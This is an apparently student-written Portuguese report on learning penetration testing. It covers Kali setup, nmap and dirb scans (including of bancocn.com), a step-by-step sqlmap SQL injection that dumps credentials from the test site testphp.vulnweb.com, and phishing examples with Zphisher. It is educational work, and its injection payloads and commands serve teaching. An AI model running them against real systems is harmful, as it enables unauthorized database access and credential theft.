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Resumo

Desde crianca tive contato com computadores, o que despertou meu interesse pela
area. No secunddrio, escolhi o curso de Técnico de Informatica — Sistemas, onde aprendi
montagem, configuragdo e programacao, comec¢ando com Python.

No 122 ano, estagiei na empresa Sofvoice, onde, junto com um colega, desenvolvi um
software em Java para automatizar a contagem de equipamentos do armazém. Trabalhei
na parte visual do programa, que foi concluido com sucesso. Projeto: GitHub - Softvoice

Scanner

Apds essa experiéncia, comecei a me interessar pela area de Ciberseguranca, que hoje é
o meu principal foco.

Nesse relatério, farei uma simulacdo de um ataque de pentest ou hacking, ensinando
passo a passo de como o fazer e como se defender.

Tudo nesse relatério é totalmente legal e feito num abiente controlado para o proéprio.


https://github.com/manteiga25/Softvoice_scanner.git
https://github.com/manteiga25/Softvoice_scanner.git

Introducao

Comeci a me interessar por cyber seguranga pouco a pouco. Quando eu era crianga, via
meu pai a trabalhar nos computadores devido a um curso que ele estava fazendo, via ele
montando e desmontando, parafusando e configurando, e sem perceber, estava cada
vez mais interessado naquilo.

Terminei 0 92 ano, ao ingressar no secundario, tinha que escolher que curso que iria me
“especializar”. Escolhi TECNICO DE INFORMATICA — SISTEMAS. Nesse curso, fiz oque meu
pai fazia, montar, desmontar, configurar e até montar um cabo de rede. Mas olhando
mais pra frente me perguntei, E isso que quero fazer? E nesse mesmo curso que conheci
a programacao. Algo muito importante para o ramo de Tl, mas também dependendo da
linguagem, dificil .Nas aula, comeg¢amos a programar em python, uma liguagem simples
e sintaxes compreendiveis. Comegamos com o basico, como fazer o computador mostrar
algo na tela. Nisso percebi o real valor da aplicacoes, porque um simples “ola mundo”
na tela de um computador podia ser algo muito complicado para um iniciante como eu
na altura.

Ao longo do tempo, fui aprendendo cada vez mais, porque eu estava decidido a ser um
programador. No ultimo ano (122 ano), estagiei numa empresa chamada Sofvoice. Era
uma empresa onde disponibilizava maquinas e apps para melhorar o funcionamento das
lojas. Foi um trabalho mais pratico, como testar impressoras, tanto limpar quanto
desmontar computadores. Mas o “chefe” tinha um “problema”.

----ele disse:

Temos muitos equipamentos no armazem, tanto coisa novas quanto coisas que ja
deveriam ter indo embora. Queremos fazer uma contagem de tudo que temos aqui, Mas
seria muito dificil contar a mao tudo que temos aqui. Quero que voces desenvolvem um
programa que faga contagem automaticamente.

E foi quando eu e o meu colega comegcamos o desenvolimento do sofware. Foi algo bem
interessante, pois algo que realmente aconteceria numa empresa de desenvolvimento
(programacdo). Fizemos o programa em JAVA, perfeito para esse tipo de trabalho. Meu
colega cuidou da parte da logica do programa, e eu da estetica. Quase terminando o
estagio, finalizamos o programa, e funcionava perfeitamente. Projeto:
https://github.com/manteiga25/Softvoice scanner.git

Logo um tempo depois, ao terminar o estagio, comecei a pensar sobre esse tipo de
trabalho que enfrentaria ao longo da minha carreira. Mas ndo desanimando, continuei
o estudo na area. Ao procurar Areas como sugundas opcdes, encontrei algo chamado
CYBERSECURITY. Foi quando tudo comecou.
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CYBERSECURITY

A partir de agora, vou mostrar como foi todo o meu processo de aprendizado e evolucdo
na drea de ciberseguranca.

Descobrimento

Descobrimento, foi marcado pela motivagao e curiosidade. Antes de comegar qualquer
pratica, pesquisei bastante em diversas plataformas sobre as vantagens e desvantagens
dessa drea. Queria entender bem no que estava me envolvendo — quais conhecimentos
seriam necessarios, quais ferramentas sdo mais usadas, e quais desafios eu poderia
enfrentar. Foi um momento essencial para me preparar mentalmente e tragar os
primeiros passos da minha jornada.

Figura 1_img_descobrimento

Ao me aprofundar, entendi que ciberseguranca ndo se resume apenas ao termo 'cyber’
— envolve uma ampla gama de conceitos técnicos, como redes, criptografia, sistemas
operacionais e analise de vulnerabilidades.



Descobrindo o Mundo Hacker

Naquele dia, tive a certeza de que queria seguir carreira na area de cibersegurang¢a. Com
isso em mente, comecei a procurar maneiras de dar os primeiros passos de forma pratica
e eficiente. Foi entdo que encontrei a ferramenta ideal para iniciantes e profissionais da
area: o Kali Linux. Essa distribuicdo voltada para testes de penetracdo e andlise de
seguranca me mostrou um novo mundo de possibilidades, onde poderia aprender e

experimentar com ferramentas reais usadas no mercado.

Figura 2_img_mundo_hacker

O que é o kali-linux?

O Kali Linux é uma distribuicdo Linux concebida para andlise forense digital e testes de
intrusdo. E mantido e financiado pela Offensive Security. O software baseia-se no ramo
Debian Testing: a maioria dos pacotes que o Kali utiliza sdo importados dos repositorios
Debian.

O kali é uma ferramenta muito usada no ramo da cyber seguranca, serve tanto para um
ataque ofensivo, quanto para defesa. E ele é bem conhecido pelo fato de portar diversas
ferramentes num Unico lugar (sofware), como o NMAP, METAEXPLOIT, HYDRA, e muito
mais.



A Diversidade

Logo a seguir de descobrir essa ferramenta (Kali-linux), parti para a instalagdo. Mas me
surpreendi com algo interessante.

O sistema kali linux, ndo era uma aplicagdao, mas sim um sistema operacional, como:

A
‘ Android
macOS T
Figura 5_img_windows11 Figura 3_img_macos Figura

4 _img_android

E um sistema linux, especializada em cyber seguranca;

Linuxf\ -

Figura 7_img_linux Figura 6_img_kali

OSINTk.0

Depois da pequena descoberta, comecei a me perguntar se seria possivel dois sistemas
operacionais num unico computador. A resposta é sim. Ao fazer uma breve pesquisa
descobri que:

Existem 2 jeitos...

Ventoy

O Ventoy é um utilitario gratuito e de cédigo aberto utilizado para criar dispositivos de
armazenamento de multimédia USB de arranque com ficheiros como . iso, . wim, . img,
.vhd e. efi. Assim que o Ventoy estiver instalado numa unidade USB, ndo ha necessidade
de reformatar a unidade USB para adicionar novos ficheiros de instalacdo. Pronto

Em outras palavras, e de forma rezumida, numa pendrive, o usuario pode armazenar
varios arquivos ISO (sistemas operacionais), como kali, windows, e outros. E na
inicializacdo do computador (como a pendrive no computador), posso escolher que
sistema usar. Foi minha primeira tentativa
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Fazendo o passo a passo...

Instalei o ventoy

Figura 8_img_instalagdo_ventoy

Entrei no arquivo principal

& Ventoy2Disk X85
Option Language

DEVICE

Tt 0_5..,:??“:”:‘;:‘

Status — READY

Install

Figura 9_img_ventoy_arquivos
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Figura 10_img_ios
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Depois de seguir esses 3 passos, bastou instalar o ventoy na pendrive escolhida, arrastar
0 ISO para dentro da pendrive e pronto. Criei uma pendrive BOOTABLE.

~

Figura 11_img_pendrive_bootable

Depois do processo de instalamento e alocamento, infelizmente acabou sendo em vao.
Mas porque?

e O que aconteceria se eu perdesse a pendrive?
e Aincompatibilidades com certos sistemas operacionais
e A sua seguranca ou integridade

Apesar de ndo ter gostado no geral, ndo descartei o ventoy, apenas o deixei de lado e fui
procurar outras alternativas. No fundo, eu queria algo mais eficiente.

Continuei em busca.
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A busca

Depois de um belo tempo de pesquisa, “achei o que estava buscando, sem saber o que
estava buscando”.

Virtual machines

maquina virtual é a virtualizacdo ou emulacdo de um sistema informatico. As maquinas
virtuais baseiam-se em arquiteturas de computadores e fornecem a funcionalidade de
um computador fisico. As suas implementagbes podem envolver hardware
especializado, software ou uma combinacdo dos dois.

B Windows 7164 - Vidware Wedtstation 12 Player (Noa: commertial uie anly)

Py~ | 1l » & 3 KL

Figura 12_img_virtual_machine

Nota: Uma maquina virtual, além de portar |I0Ss totalmentes dirferentes, é perfeita para
guem quer testar aplicacdes e outras coisas que precisem de teste.
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De forma bem simples, a maquina virtual € como colocar uma caixa dentro de outra
caixa;

Figura 13_img_box

Dentro do windows (Caixa maior), criamos um abiente completamente isolado (caixa
menor), onde colocamos nosso novo sistema operacional.

Decidido a usar esse tipo de sistema, fui a diante.

Escolha da Virtual Machine

Existem varios tipos de ambientes virtuais que podemos usar, como :
e VMware Workstation
e QEMU

e VirtualBox

Instalagdo

Escolhi o VirtualBox. Pois além de ser a mesma da imagem acima, foi o que eu me
familiarizei melhor.

A instalacdo foi algo bem simples, bastou acessar o sites oficial deles:

Site: https://www.virtualbox.org/

3 VirtualBox Home Download  Documentation  Communit v @

Powerful open source

virtualization

For personal and enterprise use Get Started

VirtualBox is a general-purpose full virtualization m

software for x86_64 hardware (with version 7.1 .
additionally for macOS/Arm), targeted at laptop, E;:g;:: e
desktop, server and embedded use.

Training

V

Community
\ i
\

Figura 14_img_virtualbox
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https://www.virtualbox.org/

Depois do download, temos que instalar uma nova ISO especializada para esse tipo de
ambiente. Ao acessar o site oficial do kali-linux (a ISO que queremos), e escolher a opcao

“Virtual Machine”

Site: https://www.kali.org/

Choose your Platform

Figura 15_img_kali.org

Finalizagdo da instalagdo
Finalizando ambas...

Bastei abrir o Virtual box:

Wt Pugoy FEUNY, bypanly
[ e—— 2

P oAce,
Cree bk Aew gy Sl B

Figura 16_img_abrir_virtualbox
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Clicar no “Adicionar”, aparecera a opgao kali-linux

&L 2024, ;"

Pr T3
1L "i“":v\m L

—— [
Dets de
T modficacks | Tigo
P kb 2004
vetiuabon - amdid @AV 1977
VatuaSor

W oy
: RA/202% 0109
Vv Anteriormente neste ano
B sespinon /07225 1231
~ HE muito tempo
P kol e 2044 virtualboon- st 1,16 V1204 1437

P

Figura 17_img_adicionar_kali

E pronto. Temos o sistema kali-linux rodando no nosso computador.

Figura 18_img_kali_pronto
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Inicio da Pratica

A partir desse dia que tudo realmente comegou. Apesar de ndo ter muitos
conhecimentos das ferramentas do kali-linux, fui fazendo testes e experimentando
funcionalidades;

\‘Eia‘EV|L2 3 4|°Q

O ¢o a 0403 g m

File System SLUdemv.. i

Figura 19_img_kali_desktop

Nao estava satisfeito, ao mecher numa ferramenta perigosa como essa, temos que saber
o que estamos fazendo. E eu ndo sabia.

Mas estava disposto a aprender;

N
\/

SOLYD INTRODUGAO
HACKING @ PENTEST

Figura 20_img_video_aula
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Introducao a Ethical hacking

Dopois dessa breve introducdo, pude me localizar, saber o que eu exatamente o que eu
queria fazer, e como fazer.

Comecei a estudar primeiro a teoria, descobri que tem diversos niveis de Pentest.

Pentest

Pentest (teste de penetracdo) é uma simulacdo controlada de ataque a sistemas, redes
ou aplicativos, feita para identificar e corrigir vulnerabilidades de seguranca.

Tipos de pentest

e BlackBox: O blackbox, é um teste de penetracdo onde ndo se tem nunhuma
informacdo sobre o alvo.

e BrayBox: O Gray ja quando temos alugmas informag¢des do alvo, como o nome,
ou o tipo empresa

e WhiteBox: Ja o WhiteBox, é qundo ja temos total informacdo do alvo. Resumindo,
é como um teste de pentest na nossa propria empresa.

Fases de Pentest

Para um teste de pentest mais eficiente, temos que seguir uma serie de passos. E como
fazer um bolo, fazendo o passo a passo para chegar ao resultado que queremos.

Etapa 1 — Defini¢do do escopo

A definicdo do escopo é o planeamento. O que queremos fazer? Qual informacao
gueremos buscar ou obter? Qual o nosso objetivo?

Voltado ao exemplo do bolo... O etapa definicdo do esocopo, é como escolher o tipo de
bolo queremos fazer, a sua cor, o sabor, e etc.

Figura 21_img_planeamento
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Etapa 2 — Coleta de informagdo

A coleta de informagao, como ja diz o nome, é coletar informagdo do nosso alvo, como:
e Nome;
e Empresa();
e Funcionarios;
e Sistemas operacional da empresa;
e Outros...

Quanto mais conhecimento do alvo tiver, mais facil o pentest

Figura 22_img_conhecer
Etapa 3 — Analise de vulnerabilidade

Numa empresa, @ sempre uma vulnerabilidade, porque apesar de tudo somos humanos,
e humanos cometem erros. Numa empresa, podem existir varios tipos de
vulnerabilidade;

e Clicar em links maliciosos

e Compartilhamento indevido de dados

e Deixar computadores desbloqueados (Muito usual)
e Instalar softwares ndo autorizados

e Qutros....

20
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Cada erro ou falha desse género, pode ser usado como uma forma de invadir e acessar
os dados da empresa

Figura 23_img_busca

Etapa 4 —Exploragdo

Depois de todas essas falhas, o hacker acessa (invade) o computador da empresa alvo. E
onde entra a etapa exploracdo, depois de ter acesso, dependendo do nosso objetivo,
vagar entre os ficheiros.

S O

Figura 24_img_explorar

Etapa 5 — Pds exploragdo

Nessa fase final, é onde fazemos a conclusdo do nosso trabalho, guardar as informacoes,
as vulnerabilidades e dependendo do nosso objetivo, ou sair sem nenhum rastro, ou
implantar um MALWERE.

X

Figura
25 img_apds_expl

Ultima etapa — Relatdrio

Ao concluir todas as etapas, fazemos um relatério de todas as falhas de sguranca que
encontramos para reportar a empresa. Sendo preciso e direto.

21



Depois de todas essas estapas, esqueci de mencionar algo muito importante e
confundido por muitos HACKING/PENTEST.

Essas duas palavras sdao funcGes parecidas, mas nao iguais. Um hacker explora
vulnerabilidades ilegalmente para seu proprio ganho, ao contrario de um penterter. Um
pentester é alguem contratado por empresas para propositalmente achar
vulnerabilidades em seus sistemas, para poder corrigir-los

Introdugdo ao Ethical Hacking

Depois de muita teoria, comecei a colocar tudo em pratica. Iniciei por algo simples, mas
fundamentar para um pentest;

Portas

As portas sdo como portas de entrada e saida para a comunicagdo entre computadores
em uma rede. Cada servico usa uma porta especifica para e comunicar. Como;

e Porta 22 - normalmente usada para o SSH (Acesso remoto suguro)

e Porta 80-normalmente usada para o HTTP (Navegacao em sites sem criptografia)
“Usaremos muito no futuro”

e Porta 443 - Usada pelo HTTPS (Navegacdao em sites com criptografia)

e Porta 8080 — Usada como alternativa ao HTTP, muito utilizada em teste ou
servidores locais

Voltando

Ao voltar no kali-linux, clicando no canto superior direito, nos diparamos com diversas
ferramentas que podemos usar para o pentest(nmap, hydra, aircrack...). Um dos motivos
de ser uma ferramenta muito usada entre os profissionais, ou hacker.

Dentro do kali, abri o terminal;

Figura 26_img_dentro_kali
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E vamos usar nossa primeira ferramenta; NMAP

Mais cedo, fiz uma pequena explicacdo de o que sdo portas e dei alguns exemplos delas.
A ferramenta NMAP, serve para fazer um escaneamento de portas e descobrir quais
estdo abertas e fechadas. Aqui um exemplo num site;

Nmap bancocn.com

bancocn.com

ng Nmap 7.95 ( https://nmap.org ) at 2025-85-89 15:54 EDT
map scan report for bancocn.com (172.67.192.199)
ost is up (0.813s latency).
ther addresses for bancocn.com (not scanned):
780:36833:: 6815:3408
Not shown: 997 filtered tcp ports {no-response)
PORT STATE SERVICE ‘
88/tcp open http
443/tcp open https
8088/tcp open http-proxy

104.21.52.8 2606:4708:3034 :: acs3:cBc7 2606:

Nmap dome: 1 IP address (1 host up) scanned in 6.47 seconds

Figura 27_img_nmap
Como é visto, é bem simples usar o NMAP, bastou inserir o dominio do site.
O resultado foi algo bem interessante, mostrou as portas desse site;
e A porta 80;
e A portad43;
e A porta 8080;
Tudo bem, mas qual a importancia de saber que portas estdao abertas?

Simples, atravez dessas portas abertas que descobrimos vulnerabilidades ou até
conseguimos entrar.

Repositorios escondidos

Repositorios escondidos em sites sdo diretérios ou arquivos ndo referenciados
diretamente na navegacdo do site, mas que ainda estdo acessiveis se alguém souber o
caminho. Podem conter backups, cédigos-fonte, arquivos de configuracdo ou dados
sensiveis. Eles representam um risco de seguranca, pois podem expor informacdes
criticas a invasores caso ndo estejam devidamente protegidos. E isso € bem comum na
criacdo de sites...

No6s conseguimos achar esse diretérios usando a ferramenta DIRB. Ele na verdade é bem
facil de usar, basta:
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Dirb http:://www.bancocn.com/

—

dirb http://www.bancocn.com/

DIRB w2.22
By The Dark Raver

START_TIME: Wed May 28 23:26:21 2025
URL_BASE: http://www.bancocn.com/
WORDLIST_FILES: fusr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4512

———— Scanning URL: http://www.bancocn.com/ ———
==> DIRECTORY: http://www.bancocn.com/admin/
==> DIRECTORY: http://www.bancocn.com/assets/
DIRECTORY: http://www.bancocn.com/classes/
DIRECTORY: http://www.bancocn.com/css/
http://www.bancocn.com/film (CODE:521|SIZE:15)
http://waw.bancocn.com/films (CODE:521|SIZE:15)
http://waww. bancocn . com/filter (CODE:521|SIZE:15)
http://www.bancocn.com/finance (CODE:521|SIZE:15)
http://waww.bancocn.com/financial (CODE:521|SIZE:15)
http://www . bancocn.com/¥ind (CODE:521|SIZE:15)
http://www.bancocn. com/finger (CODE:521|SIZE:15)
http://waw . bancocn.com/finishorder (CODE:521|SIZE:15)
http://www . bancocn . com/firefox (CODE:521|SIZE:15)
http://www.bancocn. com/firewall (CODE:521|SIZE:15)
http://waww.bancocn.com/firewalls (CODE:521|SIZE:15)
http: //waww. bancocn . com/firmconnect (CODE:521|SIZE:15)
http://www . bancocn.com/firms (CODE:521|S5IZE:15)
http://waww . bancocn.com/firmware (CODE:521|SIZE:15)

T L,

Figura 28_img_dirb

Como podem ver, achamos incontaveis repositorios do bancocn. Mas o mais iportante,
encontramos o http://www.bancocn.com/admin/ que no leva direto a essa pagina

“admin”.

Login

Login | |

Password | |

Login

Figura 29_repoditorio_admin
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SQL-Injection

De foma bem resumida, o SQL-INJECTION é quando um hacker ou pentester insere
comandos maliciosos no campo de login, busca ou URL para enganar o banco de dados.
Vai ser o conteudo que irei mostrar na pratica presencialmente.

Para o SQl-injections, irei usar o sqlmap

sqlmap

[- - . |
—I- [(]_I_I_I__fl

|v. |  https://sqlmap. or

Usage: python3 sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -1, -m, -r, -g, -c¢, ——wizard, —-shell, ——update, ——purge, —-list-tampers or
--dependencies). Use -h for basic and -hh for advanced help

Figura 30_img_sqlmap

Essa Ferramente é poderosa quando se sabe usar.... Indo direto ao ponto, vou pegar um
site (que sei que é vulneravel a esse tipo de ataque):
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Site:http://testphp.vulnweb.com/listproducts.php?cat=1

M acunetix [sie e

Acunetix Web Vulnerability Scanner

home | categories | artists | disclaimer | your cart | guestbook | AJAX Demo Logout test
search art If you are already registered please enter your login information below:

Browse categories Username : | |

Browse artists Password : [ |

rourcart

Signup

You can also signup here.

Your profile ) .
P Signup disabled. Please use the username test and the password test.

Our guestbook
AJAX Demo
Logout

Links

Security art
PHP scanner
PHP vuln help
Fractal Explorer

Figura 31_img_site_vulneravel

Observacdo: O link principal do site é http://testphp.vulnweb.com/, mas vamos escolher

o anterior pelo fato da “tal vulnerabilidade”. Nao é sempre, mas pode indicar
vulnearibulidade quando o site termina com “cat=1", isso nos diz com quase toda a
certeza que existem outros dominios (...2, ...3, ...4...)

O primeiro.... DBS

/mnt/c/Users/samue

sqlmap —u http://testphp.vulnweb.com/listproducts.php?cat=2 —-dbs

Figura 32_img_sqlmap_dbs

Esse comando executa um teste de injecdo SQL automatizado no parametro cat da URL
fornecida, usando a ferramenta sqlmap. O objetivo é verificar se o site é vulneravel e
listar os bancos de dados existentes no servidor, caso a falha seja exploravel.

Nos dando o resultado....
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http://testphp.vulnweb.com/listproducts.php?cat=1
http://testphp.vulnweb.com/listproducts.php?cat=1
http://testphp.vulnweb.com/

Parameter: cat (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: cat=(SELECT (CASE WHEN (3393=3393) THEN 4 ELSE (SELECT 9562 UNION SELECT 182@) END))

Type: error-based
Title: MySQL >= 5.6 AND error-based — WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=4 AND GTID_SUBSET(CONCAT(@x71766a6a71,(SELECT (ELT(4217=U217,1))),0x717a767a71),4u217)

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=i AND (SELECT 7824 FROM (SELECT(SLEEP(5)))zqTu)

Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=4 UNION ALL SELECT NULL,NULL,NULL,NULL NULL, NULL NULL,NULL,CONCAT(@x71766a6a71,0x6762U779U9516a786U50537367U15965786dUe556e575a756d
6a66UbLUUSTELEdULEe6561UUSUTT62, 0xT17a767a71) , NULL , NULL— -
[ 1 ] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[ | ] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

K 1L ] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com

[*] ending @ 23:05:08 /2025-0u4-30/

Figura 33_img_sqlmap_dbs_resultado

A ferramenta detectou que o banco de dados usado é MySQL (versdo 5.6 ou superior),
em um servidor Linux Ubuntu com aplicacdo escrita em PHP 5.6.40 e usando Nginx
1.19.0 como servidor web.

Ela conseguiu explorar a falha e listar dois bancos de dados disponiveis:
e acuart
e information_schema (padrdao do MySQlL)

Os dados coletados foram salvos em um diretério local para analise posterior.

Agora que ja temos essas infomacdes.... TABLES

L 1L 1 the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.8, PHP 5.6.48
back-end DBMS: MySQL >= 5.6
110 ] fetching database names
available databases [2]:
[*] acuart
[*] information_schema

[ 10 ] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com

[*] ending @ 23:05:08 /2025-0U-30/

/mnt/c/Users/samue
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart —-tables

Figura 34_img_sqlmap_tables

foi utilizado para listar as tabelas do banco de dados acuart previamente identificado
como vulneravel. A ferramenta executou a injecdo SQL e retornou todas as tabelas
existentes nesse banco, revelando a estrutura interna da base de dados.
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Mostrando:

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=4 AND (SELECT 7824 FROM (SELECT(SLEEP(5)))zqTu)

Type: UNION query

Title: Generic UNION query (NULL) - 11 columns

Payload: cat=U UNION ALL SELECT NULL,NULL, NULL,NULL,NULL,NULL,NULL NULL,CONCAT(@x71766a6a7l,0x6762477919516a786458537367415965786dLe556e575a756d
6a66UbLI5T6U6dLIEe6561UU50TT62, 0xT1Ta767a71)  NULL  NULL-- -

1L 1 the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.6.U8, Nginx 1.19.8
back-end DBMS: MySQL >= 5.6
[ 1L ] fetching tables for database: 'acuart
Database: acuart
[8 tables]

artists
carts
categ
featured
guestbook
pictures
products
users

+————— e

K 1L ] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com

[*] ending @ 23:07:U6 /2025-04-38/

Figura 35_img_sqlmap_tables_resultado

A partir daqui, essas informacgdes ja sdo muito importantes:

| artists |

| carts |

| categ |

| featured |
| guestbook |
| pictures |

| products |

| users |

Agora, é como se eu ja tivesse invadido um prédio, bastando apenas escolher os
“comodos”
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Seguinte:

C 10 1 the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technolegy: PHP 5.6.U48, Nginx 1.19.8
back-end DBMS: MySQL >= 5.6

L 1L 1 fetching tables for database: 'acuart
Database: acuart

artists
carts

categ
featured
guestbook

pictures
products
users
1t ] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com
[*] ending @ 23:07:U6 /2025-8U-30/

/mnt/c/Users/samue
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T users --columns

Figura 36_img_sqlmap_columns

Foi usado para listar as colunas da tabela users dentro do banco de dados acuart. Com
isso, foi possivel descobrir os nomes dos campos da tabela, como por exemplo username
e password, o que indica onde estdo armazenadas informacdes sensiveis de usuarios.

Resultado:

[ 10 1 the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx 1.19.8, PHP 5.6.u6

back-end DBMS: MySQL >= 5.6

[ 10 ] fetching columns for table 'users' in database 'acuart
Database: acuart

Table: users

[8 columns]

varchar(160)
mediumtext

varchar(160)
varchar(1€0)
varchar(100)
varchar(100)
varchar(100)
varchar(100)

1L 1 fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com

[*] ending @ 23:09:37 /2025-6U-38/

Figura 37_img_sqlmap_columns_resultado

Como mostra, temos varios dados da base de dados a nossa disposizao do “alvo”. Agora
vamos tentar ler exatamente os dado...
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Semifinal:

the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.8, PHP 5.6.48
back-end DBMS: MySQL >= 5.6
[ 10 ] fetching columns for table 'users' in database 'acuart'
Database: acuart
Table: users
[8 columns]

name varchar(100)

address | mediumtext
varchar(168)
varchar(10e)
varchar(100)
varchar(168)
varchar(168)
varchar(100)

I
|
|
|
|
|
|
|
|
|
|
|
|
|

+

10 ] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com"

[%] ending @ 23:09:37 /2025-0u4-30/

/mnt/c/Users/samue
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=2 -D acuart -T users -C uname,pass ——dump

Figura 38_img_sqlmap_dump

foi utilizado para extrair dados (dump) das colunas uname (nome de usudrio) e pass
(senha) da tabela users, no banco de dados acuart.

Esse processo revelou os usudrios e suas senhas armazenadas no sistema,
demonstrando que a aplicacdo web é vulnerdvel a SQL Injection, permitindo o acesso
ndo autorizado a informacgdes confidenciais.

Vamos ver se conseguimos 0s dados?

UNCATLBX

]

N A ULL, NULL, NULL,
547762, 0x717a767a71)  NULL , NULL— -

v

[ 10 ] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: PHP 5.6.40, Nginx 1.19.€

back-end DBMS: MySQL >= 5.6

[ 10 ] fetching entries of column(s) 'pass,uname' for table 'users' in database 'acuart’
Database: acuart

Table: users

,,,,,,,,,,,,, +
| uname | pass |
Fmmmmmmm o +
| test | test |

] table 'acuart.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/testphp.vulnweb.com’

[*] ending @ 23:11:05 /2025-8U-308/

/mnt/c/Users/samue

Figura 39_img_sqlmap_dump_resultado
Ai esta, depois de todo esse processo, ele esta nos dizendo que...
O uname = test

A pass = test
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Vamos ver se oS dados sao esses:

M acunetix

Acunetix Web Vulnerability Scanner

home | categories artists  disclaimer  your cart | guestbook | AJAX Demo L
search art If you are already registered please enter your login information below:
L Ile]

Browse categories Username : [test |

Browse artists Password : [sees |

rourcar

Signup

Wrnr man aloa cimnon harn

Figura 40_img_sqlmap_inserindo_dados

Macunetix

Acunetix Web Vulnerability Scanner

home | categories  artists | disclaimer | your cart | guestbook | AJAX Demo Logout test
search art John Smith (test)
Browse categories On this page you can visualize or edit you user information.
Browse artists
Your cart
Signup Mame: [3ohn smith |
Your profile Credit card number: [1234-5678-2300-5000 |
Our guestbook E-Mail: [email@email.com |
o s T Phone number: [2323345 |
Logout

Address: 91 ctreet
Links
Security art
PHP scanner &
PHP vuln help

Fractal Explorer

You have 0 items in your cart. You visualize you cart here.

Figura 41_img_sqlmap_dados_sucesso
Exatamente.

Realizei um teste de SQL Injection com a ferramenta sqlmap na URL
http://testphp.vulnweb.com/listproducts.php?cat=1. Através de uma sequéncia de
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comandos, foi possivel identificar que o sistema utiliza o MySQL como banco de dados
e estd vulneravel a injegbes SQL.

Descobri dois bancos de dados disponiveis: acuart e information_schema. No banco
acuart, a tabela users continha as colunas uname e pass, que foram extraidas com
sucesso.

Resultado final:
e Usuario: test
e Senha: test

Essa atividade demonstrou na pratica como uma aplicagdo mal protegida pode expor
informacdes sensiveis por meio de falhas de seguranca no tratamento de entradas do
usuario.
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Engenharia Social: O Poder da Manipulacao

Como quse em toda a profissdao, quantoo mais voce estuda, mais novas vao surgindo. Ao
decorrer dos meus estudos, descobri algo interessante sobre a area do pentest, que é o
ataque de Egenharia Social.

A engenharia social é uma técnica usada por cibercriminosos para manipular pessoas a
fim de obter informacgdes confidenciais, acesso ndo autorizado a sistemas ou realizar
acles que comprometam a seguranga de uma organizag¢ao ou individuo.

Diferente de ataques puramente técnicos, a engenharia social explora o fator humano,
confiando em engano, persuasao e manipulacdo psicolégica. Os atacantes geralmente
se passam por pessoas confidveis, como técnicos de TI, colegas de trabalho ou
representantes de empresas, para convencer a vitima a revelar senhas, clicar em links
maliciosos ou instalar programas infectados.

De forma que voce entenda melhor, olhe esse exemplo:

Oi

Estamos tendo problemas com suas informacdes de faturamento atuais.
Tentaremos novamente, mas por enquanto vocé pode atualizar seu
MASTERCARD em seus detalhes de pagamento.

ATUALIZAR CONTA AGORA

Estamos aqui para ajudar quando vocé precisar. Visite a Central de Ajuda
para mais informagdes ou entre em contato conosco .

Seus amigos no Netflix

Figura 42_img_netflix_email

Esse é um exemplo classico de engenharia social. Um hacker pode criar e-mails muito
parecidos com esses, chamados de e-mails de phishing, que parecem ser enviados por
empresas confidveis ou contatos conhecidos. O objetivo é enganar a vitima para que ela:

e Clique em links maliciosos,



®
<

e Baixe arquivos infectados,

e Ou forneca informacgdes pessoais, como senhas e dados bancdrios.

Esses e-mails geralmente usam técnicas como urgéncia ("sua conta sera bloqueada") ou
ofertas tentadoras para aumentar a chance da vitima agir sem pensar.

Por isso, é fundamental estar atento e sempre verificar a autenticidade das mensagens
recebidas, especialmente quando pedem informagdes sensiveis ou a¢cdes inesperadas. A
conscientizacdo e o treinamento sdo as melhores defesas contra ataques de engenharia
social.

Mas isso é crime?

Sem sombra de duvidas, sim — realizar ataques de engenharia social para obter
informacBGes sem autorizacdo é crime previsto em diversas legislacbes, como a Lei
Carolina Dieckmann no Brasil, que trata de crimes cibernéticos. A pratica pode resultar
em processos judiciais, multas e até prisao.

A Unica excecdo é quando esse tipo de acdo é feita dentro de um pentest (teste de
invasdo) autorizado, onde o objetivo é identificar vulnerabilidades de seguranca para
corrigir falhas antes que criminosos reais as explorem. Nesse caso, o pentester atua com
permissdao explicita da organizacdo, respeitando os limites acordados e a ética
profissional.

Portanto, o uso dessas técnicas deve ser sempre responsavel, legal e ético, visando
melhorar a seguranca, e nunca para prejudicar ou invadir sistemas indevidamente.
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Exemplo Prdtico

O Zphisher é uma ferramenta de cddigo aberto usada para realizar simulagdes de
phishing — uma técnica onde paginas falsas imitam sites legitimos, como redes sociais,
e-mails ou plataformas bancdrias, com o objetivo de enganar a vitima e capturar
informacdes sensiveis, como senhas e nomes de usudrio.

No contexto de um pentest autorizado, o Zphisher pode ser utilizado para demonstrar
como usuarios desatentos podem ser enganados por paginas falsas, ajudando empresas
e instituicdes a perceberem a importancia da educacdo em seguranca digital.

